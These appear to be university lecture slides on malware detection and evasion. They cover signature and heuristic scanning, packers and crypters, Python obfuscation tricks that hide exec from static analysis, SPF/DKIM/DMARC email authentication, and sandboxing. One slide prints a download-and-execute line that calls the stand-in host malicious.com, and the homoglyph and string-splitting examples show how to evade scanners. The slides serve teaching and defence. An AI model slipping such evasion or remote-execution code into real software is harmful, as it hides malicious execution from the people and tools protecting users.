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Malware Detection: anti-malware software

No way to recognize all possible malware

Two main approaches
1. Signature-based
2. Heuristic analysis (Behavior-based)

Signature-based systems – pattern matching
– Anti-malware companies collect malware 
• Study software in sandboxed environments to see what it tries to do

– Signature = set of bytes that are considered to be unique to the malware
– Signature scanning:
• Presence of those bytes in a file tells us the code as malicious
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Defeating Signature-Based Detection

Malware can try to defend itself

• Encrypt or compress the payload – extract during execution
– Crypters obfuscate and encrypt code – decrypt on execution
– Packers compress, encrypt, or simply xor the payload with a pattern.

• Polymorphic viruses:
– Modify the code but keep it functionally equivalent
– Add NOPs, use equivalent instruction sequences: this changes the signature
– Do this each time the code propagates

• Detection: 
– The only pattern we can detect is the decryption or unpacking code
– Beyond that, we need to use runtime detection 

(but the malware is running then!)

To make detection difficult…
– Write your own malware – or at least your own crypter or packer
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Similar functions:
Crypters: focus on obfuscation and 
encryption to hide malicious code.

Packers: primary goal is to compress and 
encrypt the code, creating a self-extracting 
executable.

Droppers (downloaders): temporary 
programs that find out about your system 
before downloading & installing the real 
malware.

They may search for and kill detection 
processes; check if they might be running in 
a sandbox (that tries to detect them).
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Static Heuristic Analysis

Goal: detect previously unseen malware & mutations

• Static heuristic analysis
– Decompile to source code
– Compare source code with a database of known chunks of malicious code
– Look for suspicious operations
• Files, system calls, file operations
• Packers, obscured code, library use

– Each suspicious characteristic gets a score: high score ⇒ flag file as suspicious
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Dynamic heuristic analysis: behavioral analysis

Monitor a process while it's running and see if it does anything malicious

• Sandboxing
– Anti-virus software can run suspected code in a sandbox – or interpreted environment – and see 

what it tries to do:
• File operations, registry modifications, network connections, process creation, API calls

• Anomaly detection
– Look for abnormal-looking behavior patterns
– Machine learning often used, trained on anomalous behavior

Behavior-based detection tends to have higher false positive rates

Most AV products use signature-based & static heuristic detection
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Defeating Static Analysis With Obfuscation

• Interpreted code, like Python or JavaScript is delivered as source

• Even non-malicious authors may not want to make it public
– Obfuscation: post-processing a program to make it difficult to read
• Basic techniques: rename variables & functions, remove unneeded spaces, remove comments, consolidate 

statements

• Obfuscation can help to conceal malicious actions
– But static analysis can flag suspicious calls such as exec or eval
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Examples: Defeating Static Analysis In Python

Homoglyphs in Python
– Homoglyphs: characters that look the same or similar to humans 
– Surprisingly, Python treats certain homoglyphs as equivalent
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https://rushter.com/blog/python-code-exec/

exec("print(1 + 1)") 𝑒xec("print(1 + 1)")

"mathematical italic small e" 
𝑒 = Unicode 1D452, UTF-8: F0 9D 91 92

"latin small letter e"
e: Unicode: U+0065, UTF-8: 65 

Both statements work!
Malware detection that searches for "exec" will fail to find this.
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Examples: Defeating Static Analysis In Python

It can be hard for a static analyzer to identify the use of system functions:
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import builtins
abc = builtins
abc.exec("print(1+1)")

__import__("builtins").exec("print(1+1)")

__import__("built"+"ins").exec("print(1+1)")

__import__("built"+"ins").__getattribute__("ex"+"ec")("print(1+1)")

https://rushter.com/blog/python-code-exec/
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Examples: Defeating Static Analysis In Python

Parameters to exec can be obfuscated by encoding them in different formats and/or 
downloading contents from a website

Download and execute a script:
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import urllib.request
eval(urllib.request.urlopen(
        "http://malicious.com/payload.py").read().decode("utf-8"))

https://rushter.com/blog/python-code-exec/
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Email Authentication

• Email is a common delivery protocol for malware

• SMTP (Simple Mail Transfer Protocol) does not authenticate the sender
– Impersonation is trivial
– Headers can contain anything

• Three services have been created to help authenticate email:
– SPF (Sender Policy Framework)
– DKIM (DomainKeys Identified Mail)
– DMARC (Domain-based Message Authentication, Reporting, and Conformance)
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Email Authentication: DMARC, DKIM, SPF

• SPF (Sender Policy Framework)
– Ensure the mail comes from a legitimate address
– Allows a recipient to detect if someone is spoofing a mail host

• DKIM (DomainKeys Identified Mail)
– Add a digital signature to the message
– Allows a recipient to detect if mail is from the domain & hasn’t been tampered

• DMARC
(Domain-based Message Authentication, Reporting, and Conformance)
– Define what do do when things fail
– Allows domain owners to specify how to handle emails that fail SPF or DKIM checks 

and enables receiving feedback
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SPF (Sender Policy Framework)

• Allows a recipient to detect if someone is spoofing a mail host

• Domain owners specify which IP addresses are authorized to send email on behalf 
of their domain

• Receiving mail servers check the SPF record in DNS to verify if the incoming email 
matches an authorized address
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$ dig txt +short irs.gov|grep spf
"v=spf1 ip4:152.216.0.0/20 ip6:2610:30::/32 -all”

$ dig txt +short usps.com|grep spf
"v=spf1 ip4:56.0.0.0/16 -all"

November 10, 2025

Example: you receive email from irs.gov.
Your mail client looks up irs.gov and sees the mail should come only from 152.216.*
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DKIM (DomainKeys Identified Mail)

• Allows a recipient to detect if mail is from the domain & hasn’t been tampered

• Sender adds a digital signature in the email headers
– Sender identifies which elements of the message (e.g., which headers) to include

• Recipient’s mail server can verify using a public key published in the sender’s DNS
– The DNS field is identified in the mail header
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Attach a signature header.
Client verifies the signature by getting a public key via a DNS lookup
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DKIM (DomainKeys Identified Mail)

DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=nyu.edu;
 h=content-type:from:mime-version:subject:to:cc:content-type:from:
 subject:to;
 s=s1; bh=KI3sb+L2lmYRgCGwEOPJW7kyZaRA7a7DSZpeWx7csWE=;
 b=B8qurn4z9KvdkemigGbxf2YmZMGa404OuFWAdNrlNvC2Bqlkov47cCpH9FpWpnKGKoge
 ti1J2ND1afBox19EN9X9vqbsg2Dpo294DhSPb/KsWyV+dXTdlE9emQfcGSYPDBsJ2ZZ1Xo
 2RslZA/dvBjAMu1fURXNTnlgaQM5q+OjDuyZywI3i58kZiJVzsEJD3+4+4YOpLor+zU1i1
 ORP7wkWbc6FJqDlk54J6J6TNnQBnRvNiVil5rpL50vhnJLbIn/aWtoic2jl+z4HyRK49RG
 1pNiPnfN1zXEH5IizvGRO2RYyOJc11LJaZT0YzZSslgUT3TRPp+rooJKqMujTk1A==
The s1 in the header is the selector – identifies which public key to access.
Do a DNS lookup to get the public key to verify the signature.

$ dig txt +short s1._domainkey.nyu.edu
s1._domainkey.technolutions.net.
s1.domainkey.u511372.wl.sendgrid.net.
"k=rsa; t=s; p=MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA1CJ6+q+N264DhEGxi9 …"
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DMARC (Domain-based Message Authentication, Reporting, and Conformance)

• Allows domain owners to specify how to handle emails that fail SPF or DKIM checks 
and enables receiving feedback

• E.g., mark as spam, deliver, or drop.
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$ dig txt +short _dmarc.irs.gov
"v=DMARC1; p=reject; rua=mailto:dmarc-agg-feed@ofdp.irs.gov,
mailto:reports@dmarc.cyber.dhs.gov; ruf=mailto:dmarc-for-feed@ofdp.irs.gov; fo=1"
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Blocking content and access
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Block content types

Detection requires scanning incoming data streams: but they can be encrypted

• Malware within HTTP/SMTP content
– Admins often set up blacklists for SMTP attachments and HTTP content
– Blacklisting = list of disallowed content – e.g., people might disallow windows .exe files.
– Whitelisting = list of allowed content

– Whitelists are preferable it harder to manage – they enforce the principle of least privilege
• There could be a huge number of acceptable file types.
• Similarly, blacklists are dangerous since there are many formats that could transport executable files.
• Microsoft lists 25 file formats that can be directly executable by double clicking

– Attackers can exploit bugs in allowable content, such as PDF or Excel files
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Removing admin rights helps a lot

From the BeyondTrust 2020 and 2025 Microsoft Vulnerabilities Report
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https://assets.beyondtrust.com/assets/documents/BeyondTrust-Microsoft-Vulnerabilities-Report-2021.pdf

Note: the analysis only covers known vulnerabilities

Product Vulnerabilities Critical Vulnerabilities

% of critical that could 
be mitigated by 
removing admin rights

Windows 667 (587 in 2024) 170 (33 in 2024) 80%

Windows Server 668 (684 in 2024) 171 (43 in 2024) 79%

Office 60 (47 in 2024) 7 (NA in 2024) 100%

IE & Edge 157 (292 in 2024) 111 (9 in 2024) 100%

https://assets.beyondtrust.com/assets/documents/Microsoft-Vulnerabilities-Report-2025-14-Apr-2025.pdf

Microsoft's reporting format changed in 2021, removing 
the ability to assess privilege impact per vulnerability
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Access Control: File Protection Challenges
• Embedded devices & older Microsoft Windows systems
– User processes ran with full admin powers
– This made it incredibly easy to install malware – even kernel drivers
– Still a problem with most embedded devices (routers, printers, ...)

• Lack of file protection makes it easier to spread viruses
– But it can be a pain even if only your files are affected … your content can get destroyed
– Viruses can override DAC permissions

• Warning users
– Today’s systems warn users about requests for installation or elevated privileges
– For Trojans, many users will enter their password and say “yes” – they think they want the software

• Mandatory Access Control (MAC) permissions
– Can stop some viruses if users cannot install or override executable files
– But macro viruses can still be a problem
– Not practical in most environments

November 10, 2025 CS 419 © 2025 Paul Krzyzanowski 20



This content is copyright © Paul Krzyzanowski – p@pk.org
Reproduction or distribution without the author's permission is not authorized.

Running in a sandbox helps

• Containers provide a full environment but aren't convenient for individual aps, 
particularly when they may have legitimate needs to access user files

• Sandbox restrictions restrict possible malicious activity
– Linux capabilities: restrict privileged system calls even if root
– Seccomp-BPF: deny access to certain system calls (e.g., networking)
– AppArmor: provide pathname-based restrictions

• Mobile apps rely on sandboxing
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Solving the problem
• Access controls don’t stop the problem 

• Privilege escalation limiting mechanisms work better
– Containment mechanisms (like containers) work well for servers - but not for end-user software

• Running software in a sandbox is great
– Mobile phones rely on this – often too restrictive for computers
– You must trust that users won’t be convinced to grant the wrong access rights

• Attacks that exploit human behavior are hard to prevent
– We’re dealing with human nature
– We’re used to accepting a pop-up message and entering a password
– Better detection in browsers & mail clients helps … but risks junking legitimate content

• Simple software – without built-in macros is also good
– A simple text editor vs. MS-Word … but isn’t acceptable to a lot of users

It’s still a big problem
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Newer techniques attackers use to evade detection (1)

• Call stack spoofing
– Manipulate stack frames to obscure origin of function calls
– Makes malicious calls look like they originated from legitimate software

• Fraudulent code signing
– Malware authors use fraudulent certificates and signed with stolen private keys

• Obscure languages: Rust, Delphi, Haskell, Lisp, Go
– Make reverse engineering difficult – static analysis tools don't work.

• DLL sideloading
– Malicious DLL with the same name as a legitimate one in a place where it will be loaded

• VM/debugger detection
– Malware detects if it's running in a sandbox or virtual machine & halts execution
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Newer techniques attackers use to evade detection (2)
• Timestomping
– Change timestamps to make malicious components appear older
– Defeats forensic analysis

• Fileless malware
– Use PowerShell or other scripting languages to execute payloads direcly in RAM

• Living off the Land (LotL)
– Use legitimate system utilities (PowerShell, cnd,exe, regsvr32.exe) to execute malicious code
– Certutil.exe (for certificate mgmt) - can be used to download files
– Rundll32.exe – load & execute DLLs

• Process injection
– Malicious code injected into the memory space of a legitimate process

• GPU-based execution – security tools often don't detect that

• Delayed activation – delay or wait for certain conditions
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The End
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